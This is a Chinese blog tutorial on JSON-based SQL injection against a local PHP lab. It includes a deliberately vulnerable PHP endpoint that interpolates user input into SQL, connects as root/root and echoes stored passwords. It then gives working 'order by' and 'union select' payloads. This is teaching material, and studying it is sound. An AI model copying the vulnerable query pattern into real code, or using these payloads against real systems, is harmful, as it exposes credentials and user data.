Javascript

sql注入之json注入(php代码)

本文主要是介绍sql注入之json注入(php代码),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

环境

  • phpstudy
  • php服务端代码
  • security数据库中的users表中的username,password字段
  • 用户名admin

JSON服务端代码

大家实际测试中注意修改相关的数据库名、表名、字段名等

<?php
  // php防止中文乱码
  header('content-type:text/html;charset=utf-8');
  
  if(isset($_POST['json'])){
    $json_str=$_POST['json'];
    $json=json_decode($json_str);
    if(!$json){
      die('JSON文档格式有误,请检查');
    }
    $username=$json->username;
    //$password=$json->password;
 
    // 建立mysql连接,root/root连接本地数据库
    $mysqli=new mysqli();
    $mysqli->connect('localhost','root','root');
    if($mysqli->connect_errno){
      die('数据库连接失败:'.$mysqli->connect_error);
    }
	
    // 要操作的数据库名,我的数据库是security
    $mysqli->select_db('security');
    if($mysqli->errno){
      dir('打开数据库失败:'.$mysqli->error);
    }
	
    // 数据库编码格式
    $mysqli->set_charset('utf-8');
	
    // 从users表中查询username,password字段
    $sql="SELECT username,password FROM users WHERE username='{$username}'";
    $result=$mysqli->query($sql);
    if(!$result){
      die('执行SQL语句失败:'.$mysqli->error);
    }else if($result->num_rows==0){
      die('查询结果为空');
    }else {
      $array1=$result->fetch_all(MYSQLI_ASSOC);
      echo "用户名:{$array1[0]['username']},密码:{$array1[0]['password']}";
    }
	
    // 释放资源
    $result->free();
    $mysqli->close();
  }
?>

进行注入

1、按照特定的数据格式查询admin用户密码

json={"username":"admin"}

2、查看源代码,构造payload

代码中的sql语句是这个样子的,构造payload进行注入

3、判断当前数据库有多少列

2正常,3报错,判断当前数据库有2列

json={"username":"admin' order by 3#"}

4、注入带出来数据

json={"username":"admin' and 1=2 union select 1,2#"}

json={"username":"admin' and 1=2 union select user(),database()#"}

接下来就是注入操作了,在此不做后续注入...

参考博客

https://blog.csdn.net/a15803617402/article/details/82939202

这篇关于sql注入之json注入(php代码)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!